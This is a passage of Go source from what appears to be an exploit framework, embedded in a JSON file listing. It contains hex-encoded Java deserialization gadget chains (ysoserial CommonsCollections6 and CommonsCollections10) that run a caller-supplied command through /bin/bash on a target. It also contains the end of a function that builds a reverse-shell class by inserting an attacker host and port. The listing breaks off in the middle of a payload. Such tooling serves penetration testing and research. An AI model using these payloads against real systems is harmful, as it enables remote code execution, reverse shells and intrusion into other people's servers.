+\n\t\t\"\\x00\\x6d\\x00\\x01\\x00\\x51\\x00\\x52\" +\n\t\t\"\\x00\\x01\\x00\\x3a\\x00\\x00\\x00\\x1a\" +\n\t\t\"\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x02\" +\n\t\t\"\\x01\\xb0\\x00\\x00\\x00\\x01\\x00\\x3b\" +\n\t\t\"\\x00\\x00\\x00\\x06\\x00\\x01\\x00\\x00\" +\n\t\t\"\\x00\\x72\\x00\\x01\\x00\\x53\\x00\\x00\" +\n\t\t\"\\x00\\x02\\x00\\x54\"\n\n\tclassSize := make([]byte, 2)\n\tclassString := transform.Title(random.RandLettersRange(8, 17))\n\tbinary.BigEndian.PutUint16(classSize, uint16(len(classString)))\n\n\tipSize := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(ipSize, uint16(len(conf.Lhost)))\n\n\tportSize := make([]byte, 2)\n\tportString := strconv.Itoa(conf.Lport)\n\tbinary.BigEndian.PutUint16(portSize, uint16(len(portString)))\n\n\treverseShell = strings.ReplaceAll(reverseShell, \"\\x00\\x07Reverse\", string(classSize)+classString)\n\treverseShell = strings.ReplaceAll(reverseShell, \"\\x00\\x08AAAAAAAA\", string(ipSize)+conf.Lhost)\n\treverseShell = strings.ReplaceAll(reverseShell, \"\\x00\\x08BBBBBBBB\", string(portSize)+portString)\n\n\treturn reverseShell, classString\n}\n"
  },
  {
    "path": "java/javagadget.go",
    "content": "package java\n\nimport (\n\t\"embed\"\n\t\"errors\"\n\t\"fmt\"\n\t\"path/filepath\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-exploit/transform\"\n)\n\n//go:embed gadgets\nvar gadgets embed.FS\n\nvar (\n\terrInvalidCommandLength = errors.New(\"invalid command length\")\n\terrInvalidCallbackArg   = errors.New(\"invalid callback arg\")\n)\n\nfunc ErrorInvalidCommandLength(msg string) error {\n\treturn fmt.Errorf(\"%w: %s\", errInvalidCommandLength, msg)\n}\n\nfunc ErrorInvalidCallbackArg(msg string) error {\n\treturn fmt.Errorf(\"%w: %s\", errInvalidCallbackArg, msg)\n}\n\n// This payload was generated using ysoserial-modified with the CommonsCollections6 gadget and the bash shell arg\n// The benefit of this payload over one generated from the unmodified ysoserial is the you do not need to\n// prepend it with a bash -c, and the spaces do not need to be replaced with $IFS.\n// It also solves redirection issues that are present in unmodified ysoserial payloads.\n// This payload will always run the provided command using bash, hence the name.\n// That said you should not need, nor should you prepend a <shell> -c to commandStr parameter passed here.\nfunc Commons6ModifiedBashCommandBytecode(commandStr string) (string, error) {\n\tif len(commandStr) > 255 || len(commandStr) < 1 {\n\t\treturn \"\", ErrorInvalidCommandLength(\"command must be between 1 and 255 characters\")\n\t}\n\n\tpayloadBytes := \"\\xac\\xed\\x00\\x05\\x73\\x72\\x00\\x11\\x6a\\x61\\x76\\x61\" +\n\t\t\"\\x2e\\x75\\x74\\x69\\x6c\\x2e\\x48\\x61\\x73\\x68\\x53\\x65\" +\n\t\t\"\\x74\\xba\\x44\\x85\\x95\\x96\\xb8\\xb7\\x34\\x03\\x00\\x00\" +\n\t\t\"\\x78\\x70\\x77\\x0c\\x00\\x00\\x00\\x02\\x3f\\x40\\x00\\x00\" +\n\t\t\"\\x00\\x00\\x00\\x01\\x73\\x72\\x00\\x34\\x6f\\x72\\x67\\x2e\" +\n\t\t\"\\x61\\x70\\x61\\x63\\x68\\x65\\x2e\\x63\\x6f\\x6d\\x6d\\x6f\" +\n\t\t\"\\x6e\\x73\\x2e\\x63\\x6f\\x6c\\x6c\\x65\\x63\\x74\\x69\\x6f\" +\n\t\t\"\\x6e\\x73\\x2e\\x6b\\x65\\x79\\x76\\x61\\x6c\\x75\\x65\\x2e\" +\n\t\t\"\\x54\\x69\\x65\\x64\\x4d\\x61\\x70\\x45\\x6e\\x74\\x72\\x79\" +\n\t\t\"\\x8a\\xad\\xd2\\x9b\\x39\\xc1\\x1f\\xdb\\x02\\x00\\x02\\x4c\" +\n\t\t\"\\x00\\x03\\x6b\\x65\\x79\\x74\\x00\\x12\\x4c\\x6a\\x61\\x76\" +\n\t\t\"\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x4f\\x62\\x6a\\x65\\x63\" +\n\t\t\"\\x74\\x3b\\x4c\\x00\\x03\\x6d\\x61\\x70\\x74\\x00\\x0f\\x4c\" +\n\t\t\"\\x6a\\x61\\x76\\x61\\x2f\\x75\\x74\\x69\\x6c\\x2f\\x4d\\x61\" +\n\t\t\"\\x70\\x3b\\x78\\x70\\x74\\x00\\x03\\x66\\x6f\\x6f\\x73\\x72\" +\n\t\t\"\\x00\\x2a\\x6f\\x72\\x67\\x2e\\x61\\x70\\x61\\x63\\x68\\x65\" +\n\t\t\"\\x2e\\x63\\x6f\\x6d\\x6d\\x6f\\x6e\\x73\\x2e\\x63\\x6f\\x6c\" +\n\t\t\"\\x6c\\x65\\x63\\x74\\x69\\x6f\\x6e\\x73\\x2e\\x6d\\x61\\x70\" +\n\t\t\"\\x2e\\x4c\\x61\\x7a\\x79\\x4d\\x61\\x70\\x6e\\xe5\\x94\\x82\" +\n\t\t\"\\x9e\\x79\\x10\\x94\\x03\\x00\\x01\\x4c\\x00\\x07\\x66\\x61\" +\n\t\t\"\\x63\\x74\\x6f\\x72\\x79\\x74\\x00\\x2c\\x4c\\x6f\\x72\\x67\" +\n\t\t\"\\x2f\\x61\\x70\\x61\\x63\\x68\\x65\\x2f\\x63\\x6f\\x6d\\x6d\" +\n\t\t\"\\x6f\\x6e\\x73\\x2f\\x63\\x6f\\x6c\\x6c\\x65\\x63\\x74\\x69\" +\n\t\t\"\\x6f\\x6e\\x73\\x2f\\x54\\x72\\x61\\x6e\\x73\\x66\\x6f\\x72\" +\n\t\t\"\\x6d\\x65\\x72\\x3b\\x78\\x70\\x73\\x72\\x00\\x3a\\x6f\\x72\" +\n\t\t\"\\x67\\x2e\\x61\\x70\\x61\\x63\\x68\\x65\\x2e\\x63\\x6f\\x6d\" +\n\t\t\"\\x6d\\x6f\\x6e\\x73\\x2e\\x63\\x6f\\x6c\\x6c\\x65\\x63\\x74\" +\n\t\t\"\\x69\\x6f\\x6e\\x73\\x2e\\x66\\x75\\x6e\\x63\\x74\\x6f\\x72\" +\n\t\t\"\\x73\\x2e\\x43\\x68\\x61\\x69\\x6e\\x65\\x64\\x54\\x72\\x61\" +\n\t\t\"\\x6e\\x73\\x66\\x6f\\x72\\x6d\\x65\\x72\\x30\\xc7\\x97\\xec\" +\n\t\t\"\\x28\\x7a\\x97\\x04\\x02\\x00\\x01\\x5b\\x00\\x0d\\x69\\x54\" +\n\t\t\"\\x72\\x61\\x6e\\x73\\x66\\x6f\\x72\\x6d\\x65\\x72\\x73\\x74\" +\n\t\t\"\\x00\\x2d\\x5b\\x4c\\x6f\\x72\\x67\\x2f\\x61\\x70\\x61\\x63\" +\n\t\t\"\\x68\\x65\\x2f\\x63\\x6f\\x6d\\x6d\\x6f\\x6e\\x73\\x2f\\x63\" +\n\t\t\"\\x6f\\x6c\\x6c\\x65\\x63\\x74\\x69\\x6f\\x6e\\x73\\x2f\\x54\" +\n\t\t\"\\x72\\x61\\x6e\\x73\\x66\\x6f\\x72\\x6d\\x65\\x72\\x3b\\x78\" +\n\t\t\"\\x70\\x75\\x72\\x00\\x2d\\x5b\\x4c\\x6f\\x72\\x67\\x2e\\x61\" +\n\t\t\"\\x70\\x61\\x63\\x68\\x65\\x2e\\x63\\x6f\\x6d\\x6d\\x6f\\x6e\" +\n\t\t\"\\x73\\x2e\\x63\\x6f\\x6c\\x6c\\x65\\x63\\x74\\x69\\x6f\\x6e\" +\n\t\t\"\\x73\\x2e\\x54\\x72\\x61\\x6e\\x73\\x66\\x6f\\x72\\x6d\\x65\" +\n\t\t\"\\x72\\x3b\\xbd\\x56\\x2a\\xf1\\xd8\\x34\\x18\\x99\\x02\\x00\" +\n\t\t\"\\x00\\x78\\x70\\x00\\x00\\x00\\x05\\x73\\x72\\x00\\x3b\\x6f\" +\n\t\t\"\\x72\\x67\\x2e\\x61\\x70\\x61\\x63\\x68\\x65\\x2e\\x63\\x6f\" +\n\t\t\"\\x6d\\x6d\\x6f\\x6e\\x73\\x2e\\x63\\x6f\\x6c\\x6c\\x65\\x63\" +\n\t\t\"\\x74\\x69\\x6f\\x6e\\x73\\x2e\\x66\\x75\\x6e\\x63\\x74\\x6f\" +\n\t\t\"\\x72\\x73\\x2e\\x43\\x6f\\x6e\\x73\\x74\\x61\\x6e\\x74\\x54\" +\n\t\t\"\\x72\\x61\\x6e\\x73\\x66\\x6f\\x72\\x6d\\x65\\x72\\x58\\x76\" +\n\t\t\"\\x90\\x11\\x41\\x02\\xb1\\x94\\x02\\x00\\x01\\x4c\\x00\\x09\" +\n\t\t\"\\x69\\x43\\x6f\\x6e\\x73\\x74\\x61\\x6e\\x74\\x71\\x00\\x7e\" +\n\t\t\"\\x00\\x03\\x78\\x70\\x76\\x72\\x00\\x11\\x6a\\x61\\x76\\x61\" +\n\t\t\"\\x2e\\x6c\\x61\\x6e\\x67\\x2e\\x52\\x75\\x6e\\x74\\x69\\x6d\" +\n\t\t\"\\x65\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n\t\t\"\\x78\\x70\\x73\\x72\\x00\\x3a\\x6f\\x72\\x67\\x2e\\x61\\x70\" +\n\t\t\"\\x61\\x63\\x68\\x65\\x2e\\x63\\x6f\\x6d\\x6d\\x6f\\x6e\\x73\" +\n\t\t\"\\x2e\\x63\\x6f\\x6c\\x6c\\x65\\x63\\x74\\x69\\x6f\\x6e\\x73\" +\n\t\t\"\\x2e\\x66\\x75\\x6e\\x63\\x74\\x6f\\x72\\x73\\x2e\\x49\\x6e\" +\n\t\t\"\\x76\\x6f\\x6b\\x65\\x72\\x54\\x72\\x61\\x6e\\x73\\x66\\x6f\" +\n\t\t\"\\x72\\x6d\\x65\\x72\\x87\\xe8\\xff\\x6b\\x7b\\x7c\\xce\\x38\" +\n\t\t\"\\x02\\x00\\x03\\x5b\\x00\\x05\\x69\\x41\\x72\\x67\\x73\\x74\" +\n\t\t\"\\x00\\x13\\x5b\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\" +\n\t\t\"\\x67\\x2f\\x4f\\x62\\x6a\\x65\\x63\\x74\\x3b\\x4c\\x00\\x0b\" +\n\t\t\"\\x69\\x4d\\x65\\x74\\x68\\x6f\\x64\\x4e\\x61\\x6d\\x65\\x74\" +\n\t\t\"\\x00\\x12\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\" +\n\t\t\"\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\\x3b\\x5b\\x00\\x0b\\x69\" +\n\t\t\"\\x50\\x61\\x72\\x61\\x6d\\x54\\x79\\x70\\x65\\x73\\x74\\x00\" +\n\t\t\"\\x12\\x5b\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\" +\n\t\t\"\\x2f\\x43\\x6c\\x61\\x73\\x73\\x3b\\x78\\x70\\x75\\x72\\x00\" +\n\t\t\"\\x13\\x5b\\x4c\\x6a\\x61\\x76\\x61\\x2e\\x6c\\x61\\x6e\\x67\" +\n\t\t\"\\x2e\\x4f\\x62\\x6a\\x65\\x63\\x74\\x3b\\x90\\xce\\x58\\x9f\" +\n\t\t\"\\x10\\x73\\x29\\x6c\\x02\\x00\\x00\\x78\\x70\\x00\\x00\\x00\" +\n\t\t\"\\x02\\x74\\x00\\x0a\\x67\\x65\\x74\\x52\\x75\\x6e\\x74\\x69\" +\n\t\t\"\\x6d\\x65\\x75\\x72\\x00\\x12\\x5b\\x4c\\x6a\\x61\\x76\\x61\" +\n\t\t\"\\x2e\\x6c\\x61\\x6e\\x67\\x2e\\x43\\x6c\\x61\\x73\\x73\\x3b\" +\n\t\t\"\\xab\\x16\\xd7\\xae\\xcb\\xcd\\x5a\\x99\\x02\\x00\\x00\\x78\" +\n\t\t\"\\x70\\x00\\x00\\x00\\x00\\x74\\x00\\x09\\x67\\x65\\x74\\x4d\" +\n\t\t\"\\x65\\x74\\x68\\x6f\\x64\\x75\\x71\\x00\\x7e\\x00\\x1b\\x00\" +\n\t\t\"\\x00\\x00\\x02\\x76\\x72\\x00\\x10\\x6a\\x61\\x76\\x61\\x2e\" +\n\t\t\"\\x6c\\x61\\x6e\\x67\\x2e\\x53\\x74\\x72\\x69\\x6e\\x67\\xa0\" +\n\t\t\"\\xf0\\xa4\\x38\\x7a\\x3b\\xb3\\x42\\x02\\x00\\x00\\x78\\x70\" +\n\t\t\"\\x76\\x71\\x00\\x7e\\x00\\x1b\\x73\\x71\\x00\\x7e\\x00\\x13\" +\n\t\t\"\\x75\\x71\\x00\\x7e\\x00\\x18\\x00\\x00\\x00\\x02\\x70\\x75\" +\n\t\t\"\\x71\\x00\\x7e\\x00\\x18\\x00\\x00\\x00\\x00\\x74\\x00\\x06\" +\n\t\t\"\\x69\\x6e\\x76\\x6f\\x6b\\x65\\x75\\x71\\x00\\x7e\\x00\\x1b\" +\n\t\t\"\\x00\\x00\\x00\\x02\\x76\\x72\\x00\\x10\\x6a\\x61\\x76\\x61\" +\n\t\t\"\\x2e\\x6c\\x61\\x6e\\x67\\x2e\\x4f\\x62\\x6a\\x65\\x63\\x74\" +\n\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x78\" +\n\t\t\"\\x70\\x76\\x71\\x00\\x7e\\x00\\x18\\x73\\x71\\x00\\x7e\\x00\" +\n\t\t\"\\x13\\x75\\x71\\x00\\x7e\\x00\\x18\\x00\\x00\\x00\\x01\\x75\" +\n\t\t\"\\x72\\x00\\x13\\x5b\\x4c\\x6a\\x61\\x76\\x61\\x2e\\x6c\\x61\" +\n\t\t\"\\x6e\\x67\\x2e\\x53\\x74\\x72\\x69\\x6e\\x67\\x3b\\xad\\xd2\" +\n\t\t\"\\x56\\xe7\\xe9\\x1d\\x7b\\x47\\x02\\x00\\x00\\x78\\x70\\x00\" +\n\t\t\"\\x00\\x00\\x03\\x74\\x00\\x09\\x2f\\x62\\x69\\x6e\\x2f\\x62\" +\n\t\t\"\\x61\\x73\\x68\\x74\\x00\\x02\\x2d\\x63\\x74\\x00\\xff\" +\n\n\t\t// 255 characters were allocated, we just put back the unused\n\t\t// length as spaces\n\t\tcommandStr + strings.Repeat(\" \", 0xff-len(commandStr)) +\n\n\t\t\"\\x74\\x00\\x04\\x65\\x78\\x65\\x63\\x75\\x71\\x00\" +\n\t\t\"\\x7e\\x00\\x1b\\x00\\x00\\x00\\x01\\x76\\x71\\x00\\x7e\\x00\" +\n\t\t\"\\x2c\\x73\\x71\\x00\\x7e\\x00\\x0f\\x73\\x72\\x00\\x11\\x6a\" +\n\t\t\"\\x61\\x76\\x61\\x2e\\x6c\\x61\\x6e\\x67\\x2e\\x49\\x6e\\x74\" +\n\t\t\"\\x65\\x67\\x65\\x72\\x12\\xe2\\xa0\\xa4\\xf7\\x81\\x87\\x38\" +\n\t\t\"\\x02\\x00\\x01\\x49\\x00\\x05\\x76\\x61\\x6c\\x75\\x65\\x78\" +\n\t\t\"\\x72\\x00\\x10\\x6a\\x61\\x76\\x61\\x2e\\x6c\\x61\\x6e\\x67\" +\n\t\t\"\\x2e\\x4e\\x75\\x6d\\x62\\x65\\x72\\x86\\xac\\x95\\x1d\\x0b\" +\n\t\t\"\\x94\\xe0\\x8b\\x02\\x00\\x00\\x78\\x70\\x00\\x00\\x00\\x01\" +\n\t\t\"\\x73\\x72\\x00\\x11\\x6a\\x61\\x76\\x61\\x2e\\x75\\x74\\x69\" +\n\t\t\"\\x6c\\x2e\\x48\\x61\\x73\\x68\\x4d\\x61\\x70\\x05\\x07\\xda\" +\n\t\t\"\\xc1\\xc3\\x16\\x60\\xd1\\x03\\x00\\x02\\x46\\x00\\x0a\\x6c\" +\n\t\t\"\\x6f\\x61\\x64\\x46\\x61\\x63\\x74\\x6f\\x72\\x49\\x00\\x09\" +\n\t\t\"\\x74\\x68\\x72\\x65\\x73\\x68\\x6f\\x6c\\x64\\x78\\x70\\x3f\" +\n\t\t\"\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x77\\x08\\x00\\x00\\x00\" +\n\t\t\"\\x10\\x00\\x00\\x00\\x00\\x78\\x78\\x78\"\n\n\treturn payloadBytes, nil\n}\n\n// Generated using ysoserial with CommonsCollections10.\nfunc Commons10CommandBytecode(commandStr string) (string, error) {\n\tif len(commandStr) > 255 || len(commandStr) < 1 {\n\t\treturn \"\", ErrorInvalidCommandLength(\"command must be between 1 and 255 characters\")\n\t}\n\n\tpayloadBytes := \"\\xac\\xed\\x00\\x05\\x73\\x72\\x00\\x11\\x6a\\x61\\x76\\x61\" +\n\t\t\"\\x2e\\x75\\x74\\x69\\x6c\\x2e\\x48\\x61\\x73\\x68\\x53\\x65\" +\n\t\t\"\\x74\\xba\\x44\\x85\\x95\\x96\\xb8\\xb7\\x34\\x03\\x00\\x00\" +\n\t\t\"\\x78\\x70\\x77\\x0c\\x00\\x00\\x00\\x02\\x3f\\x40\\x00\\x00\" +\n\t\t\"\\x00\\x00\\x00\\x01\\x73\\x72\\x00\\x34\\x6f\\x72\\x67\\x2e\" +\n\t\t\"\\x61\\x70\\x61\\x63\\x68\\x65\\x2e\\x63\\x6f\\x6d\\x6d\\x6f\" +\n\t\t\"\\x6e\\x73\\x2e\\x63\\x6f\\x6c\\x6c\\x65\\x63\\x74\\x69\\x6f\" +\n\t\t\"\\x6e\\x73\\x2e\\x6b\\x65\\x79\\x76\\x61\\x6c\\x75\\x65\\x2e\" +\n\t\t\"\\x54\\x69\\x65\\x64\\x4d\\x61\\x70\\x45\\x6e\\x74\\x72\\x79\" +\n\t\t\"\\x8a\\xad\\xd2\\x9b\\x39\\xc1\\x1f\\xdb\\x02\\x00\\x02\\x4c\" +\n\t\t\"\\x00\\x03\\x6b\\x65\\x79\\x74\\x00\\x12\\x4c\\x6a\\x61\\x76\" +\n\t\t\"\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x4f\\x62\\x6a\\x65\\x63\" +\n\t\t\"\\x74\\x3b\\x4c\\x00\\x03\\x6d\\x61\\x70\\x74\\x00\\x0f\\x4c\" +\n\t\t\"\\x6a\\x61\\x76\\x61\\x2f\\x75\\x74\\x69\\x6c\\x2f\\x4d\\x61\" +\n\t\t\"\\x70\\x3b\\x78\\x70\\x73\\x72\\x00\\x3a\\x63\\x6f\\x6d\\x2e\" +\n\t\t\"\\x73\\x75\\x6e\\x2e\\x6f\\x72\\x67\\x2e\\x61\\x70\\x61\\x63\" +\n\t\t\"\\x68\\x65\\x2e\\x78\\x61\\x6c\\x61\\x6e\\x2e\\x69\\x6e\\x74\" +\n\t\t\"\\x65\\x72\\x6e\\x61\\x6c\\x2e\\x78\\x73\\x6c\\x74\\x63\\x2e\" +\n\t\t\"\\x74\\x72\\x61\\x78\\x2e\\x54\\x65\\x6d\\x70\\x6c\\x61\\x74\" +\n\t\t\"\\x65\\x73\\x49\\x6d\\x70\\x6c\\x09\\x57\\x4f\\xc1\\x6e\\xac\" +\n\t\t\"\\xab\\x33\\x03\\x00\\x06\\x49\\x00\\x0d\\x5f\\x69\\x6e\\x64\" +\n\t\t\"\\x65\\x6e\\x74\\x4e\\x75\\x6d\\x62\\x65\\x72\\x49\\x00\\x0e\" +\n\t\t\"\\x5f\\x74\\x72\\x61\\x6e\\x73\\x6c\\x65\\x74\\x49\\x6e\\x64\" +\n\t\t\"\\x65\\x78\\x5b\\x00\\x0a\\x5f\\x62\\x79\\x74\\x65\\x63\\x6f\" +\n\t\t\"\\x64\\x65\\x73\\x74\\x00\\x03\\x5b\\x5b\\x42\\x5b\\x00\\x06\" +\n\t\t\"\\x5f\\x63\\x6c\\x61\\x73\\x73\\x74\\x00\\x12\\x5b\\x4c\\x6a\" +\n\t\t\"\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x43\\x6c\\x61\" +\n\t\t\"\\x73\\x73\\x3b\\x4c\\x00\\x05\\x5f\\x6e\\x61\\x6d\\x65\\x74\" +\n\t\t\"\\x00\\x12\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\" +\n\t\t\"\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\\x3b\\x4c\\x00\\x11\\x5f\" +\n\t\t\"\\x6f\\x75\\x74\\x70\\x75\\x74\\x50\\x72\\x6f\\x70\\x65\\x72\" +\n\t\t\"\\x74\\x69\\x65\\x73\\x74\\x00\\x16\\x4c\\x6a\\x61\\x76\\x61\" +\n\t\t\"\\x2f\\x75\\x74\\x69\\x6c\\x2f\\x50\\x72\\x6f\\x70\\x65\\x72\" +\n\t\t\"\\x74\\x69\\x65\\x73\\x3b\\x78\\x70\\x00\\x00\\x00\\x00\\xff\" +\n\t\t\"\\xff\\xff\\xff\\x75\\x72\\x00\\x03\\x5b\\x5b\\x42\\x4b\\xfd\" +\n\t\t\"\\x19\\x15\\x67\\x67\\xdb\\x37\\x02\\x00\\x00\\x78\\x70\\x00\" +\n\t\t\"\\x00\\x00\\x02\\x75\\x72\\x00\\x02\\x5b\\x42\\xac\\xf3\\x17\" +\n\t\t\"\\xf8\\x06\\x08\\x54\\xe0\\x02\\x00\\x00\\x78\\x70\\x00\\x00\" +\n\t\t\"\\x07\\x93\\xca\\xfe\\xba\\xbe\\x00\\x00\\x00\\x32\\x00\\x39\" +\n\t\t\"\\x0a\\x00\\x03\\x00\\x22\\x07\\x00\\x37\\x07\\x00\\x25\\x07\" +\n\t\t\"\\x00\\x26\\x01\\x00\\x10\\x73\\x65\\x72\\x69\\x61\\x6c\\x56\" +\n\t\t\"\\x65\\x72\\x73\\x69\\x6f\\x6e\\x55\\x49\\x44\\x01\\x00\\x01\" +\n\t\t\"\\x4a\\x01\\x00\\x0d\\x43\\x6f\\x6e\\x73\\x74\\x61\\x6e\\x74\" +\n\t\t\"\\x56\\x61\\x6c\\x75\\x65\\x05\\xad\\x20\\x93\\xf3\\x91\\xdd\" +\n\t\t\"\\xef\\x3e\\x01\\x00\\x06\\x3c\\x69\\x6e\\x69\\x74\\x3e\\x01\" +\n\t\t\"\\x00\\x03\\x28\\x29\\x56\\x01\\x00\\x04\\x43\\x6f\\x64\\x65\" +\n\t\t\"\\x01\\x00\\x0f\\x4c\\x69\\x6e\\x65\\x4e\\x75\\x6d\\x62\\x65\" +\n\t\t\"\\x72\\x54\\x61\\x62\\x6c\\x65\\x01\\x00\\x12\\x4c\\x6f\\x63\" +\n\t\t\"\\x61\\x6c\\x56\\x61\\x72\\x69\\x61\\x62\\x6c\\x65\\x54\\x61\" +\n\t\t\"\\x62\\x6c\\x65\\x01\\x00\\x04\\x74\\x68\\x69\\x73\\x01\\x00\" +\n\t\t\"\\x13\\x53\\x74\\x75\\x62\\x54\\x72\\x61\\x6e\\x73\\x6c\\x65\" +\n\t\t\"\\x74\\x50\\x61\\x79\\x6c\\x6f\\x61\\x64\\x01\\x00\\x0c\\x49\" +\n\t\t\"\\x6e\\x6e\\x65\\x72\\x43\\x6c\\x61\\x73\\x73\\x65\\x73\\x01\" +\n\t\t\"\\x00\\x35\\x4c\\x79\\x73\\x6f\\x73\\x65\\x72\\x69\\x61\\x6c\" +\n\t\t\"\\x2f\\x70\\x61\\x79\\x6c\\x6f\\x61\\x64\\x73\\x2f\\x75\\x74\" +\n\t\t\"\\x69\\x6c\\x2f\\x47\\x61\\x64\\x67\\x65\\x74\\x73\\x24\\x53\" +\n\t\t\"\\x74\\x75\\x62\\x54\\x72\\x61\\x6e\\x73\\x6c\\x65\\x74\\x50\" +\n\t\t\"\\x61\\x79\\x6c\\x6f\\x61\\x64\\x3b\\x01\\x00\\x09\\x74\\x72\" +\n\t\t\"\\x61\\x6e\\x73\\x66\\x6f\\x72\\x6d\\x01\\x00\\x72\\x28\\x4c\" +\n\t\t\"\\x63\\x6f\\x6d\\x2f\\x73\\x75\\x6e\\x2f\\x6f\\x72\\x67\\x2f\" +\n\t\t\"\\x61\\x70\\x61\\x63\\x68\\x65\\x2f\\x78\\x61\\x6c\\x61\\x6e\" +\n\t\t\"\\x2f\\x69\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\\x2f\\x78\\x73\" +\n\t\t\"\\x6c\\x74\\x63\\x2f\\x44\\x4f\\x4d\\x3b\\x5b\\x4c\\x63\\x6f\" +\n\t\t\"\\x6d\\x2f\\x73\\x75\\x6e\\x2f\\x6f\\x72\\x67\\x2f\\x61\\x70\" +\n\t\t\"\\x61\\x63\\x68\\x65\\x2f\\x78\\x6d\\x6c\\x2f\\x69\\x6e\\x74\" +\n\t\t\"\\x65\\x72\\x6e\\x61\\x6c\\x2f\\x73\\x65\\x72\\x69\\x61\\x6c\" +\n\t\t\"\\x69\\x7a\\x65\\x72\\x2f\\x53\\x65\\x72\\x69\\x61\\x6c\\x69\" +\n\t\t\"\\x7a\\x61\\x74\\x69\\x6f\\x6e\\x48\\x61\\x6e\\x64\\x6c\\x65\" +\n\t\t\"\\x72\\x3b\\x29\\x56\\x01\\x00\\x08\\x64\\x6f\\x63\\x75\\x6d\" +\n\t\t\"\\x65\\x6e\\x74\\x01\\x00\\x2d\\x4c\\x63\\x6f\\x6d\\x2f\\x73\" +\n\t\t\"\\x75\\x6e\\x2f\\x6f\\x72\\x67\\x2f\\x61\\x70\\x61\\x63\\x68\" +\n\t\t\"\\x65\\x2f\\x78\\x61\\x6c\\x61\\x6e\\x2f\\x69\\x6e\\x74\\x65\" +\n\t\t\"\\x72\\x6e\\x61\\x6c\\x2f\\x78\\x73\\x6c\\x74\\x63\\x2f\\x44\" +\n\t\t\"\\x4f\\x4d\\x3b\\x01\\x00\\x08\\x68\\x61\\x6e\\x64\\x6c\\x65\" +\n\t\t\"\\x72\\x73\\x01\\x00\\x42\\x5b\\x4c\\x63\\x6f\\x6d\\x2f\\x73\" +\n\t\t\"\\x75\\x6e\\x2f\\x6f\\x72\\x67\\x2f\\x61\\x70\\x61\\x63\\x68\" +\n\t\t\"\\x65\\x2f\\x78\\x6d\\x6c\\x2f\\x69\\x6e\\x74\\x65\\x72\\x6e\" +\n\t\t\"\\x61\\x6c\\x2f\\x73\\x65\\x72\\x69\\x61\\x6c\\x69\\x7a\\x65\" +\n\t\t\"\\x72\\x2f\\x53\\x65\\x72\\x69\\x61\\x6c\\x69\\x7a\\x61\\x74\" +\n\t\t\"\\x69\\x6f\\x6e\\x48\\x61\\x6e\\x64\\x6c\\x65\\x72\\x3b\\x01\" +\n\t\t\"\\x00\\x0a\\x45\\x78\\x63\\x65\\x70\\x74\\x69\\x6f\\x6e\\x73\" +\n\t\t\"\\x07\\x00\\x27\\x01\\x00\\xa6\\x28\\x4c\\x63\\x6f\\x6d\\x2f\" +\n\t\t\"\\x73\\x75\\x6e\\x2f\\x6f\\x72\\x67\\x2f\\x61\\x70\\x61\\x63\" +\n\t\t\"\\x68\\x65\\x2f\\x78\\x61\\x6c\\x61\\x6e\\x2f\\x69\\x6e\\x74\" +\n\t\t\"\\x65\\x72\\x6e\\x61\\x6c\\x2f\\x78\\x73\\x6c\\x74\\x63\\x2f\" +\n\t\t\"\\x44\\x4f\\x4d\\x3b\\x4c\\x63\\x6f\\x6d\\x2f\\x73\\x75\\x6e\" +\n\t\t\"\\x2f\\x6f\\x72\\x67\\x2f\\x61\\x70\\x61\\x63\\x68\\x65\\x2f\" +\n\t\t\"\\x78\\x6d\\x6c\\x2f\\x69\\x6e\\x74\\x65\\x72\\x6e\\x61\\x6c\" +\n\t\t\"\\x2f\\x64\\x74\\x6d\\x2f\\x44\\x54\\x4d\\x41\\x78\\x69\\x73\" +\n\t\t\"\\x49\\x74\\x65\\x72\\x61\\x74\\x6f\\x72\\x3b\\x4c\\x63\\x6f\" +\n\t\t\"\\x6d\\x2f\\x73\\x75\\x6e\\x2f\\x6f\\x72\\x67\\x2f\\x61\\x70\" +\n\t\t\"\\x61\\x63\\x68\\x65\\x2f\\x78\\x6d\\x6c\\x2f\\x69\\x6e\\x74\" +\n\t\t\"\\x65\\x72\\x6e\\x61\\x6c\\x2f\\x73\\x65\\x72\\x69\\x61\\x6c\" +\n\t\t\"\\x69\\x7a\\x65\\x72\\x2f\\x53\\x65\\x72\\x69\\x61\\x6c\\x69\" +\n\t\t\"\\x7a\\x61\\x74\\x69\\x6f\\x6e\\x48\\x61\\x6e\\x64\\x6c\\x65\" +\n\t\t\"\\x72\\x3b\\x29\\x56\\x01\\x00\\x08\\x69\\x74\\x65\\x72\\x61\" +\n\t\t\"\\x74\\x6f\\x72\\x01\\x00\\x35\\x4c\\x63\\x6f\\x6d\\x2f\\x73\" +\n\t\t\"\\x75\\x6e\\x2f\\x6f\\x72\\x67\\x2f\\x61\\x70\\x61\\x63\\x68\" +\n\t\t\"\\x65\\x2f\\x78\\x6d\\x6c\\x2f\\x69\\x6e\\x74\\x65\\x72\\x6e\" +\n\t\t\"\\x61\\x6c\\x2f\\x64\\x74\\x6d\\x2f\\x44\\x54\\x4d\\x41\\x78\" +\n\t\t\"\\x69\\x73\\x49\\x74\\x65\\x72\\x61\\x74\\x6f\\x72\\x3b\\x01\" +\n\t\t\"\\x00\\x07\\x68\\x61\\x6e\\x64\\x6c\\x65\\x72\\x01\\x00\\x41\" +\n\t\t\"\\x4c\\x63\\x6f\\x6d\\x2f\\x73\\x75\\x6e\\x2f\\x6f\\x72\\x67\" +\n\t\t\"\\x2f\\x61\\x70\\x61\\x63\\x68\\x65\\x2f\\x78\\x6d\\x6c\\x2f\" 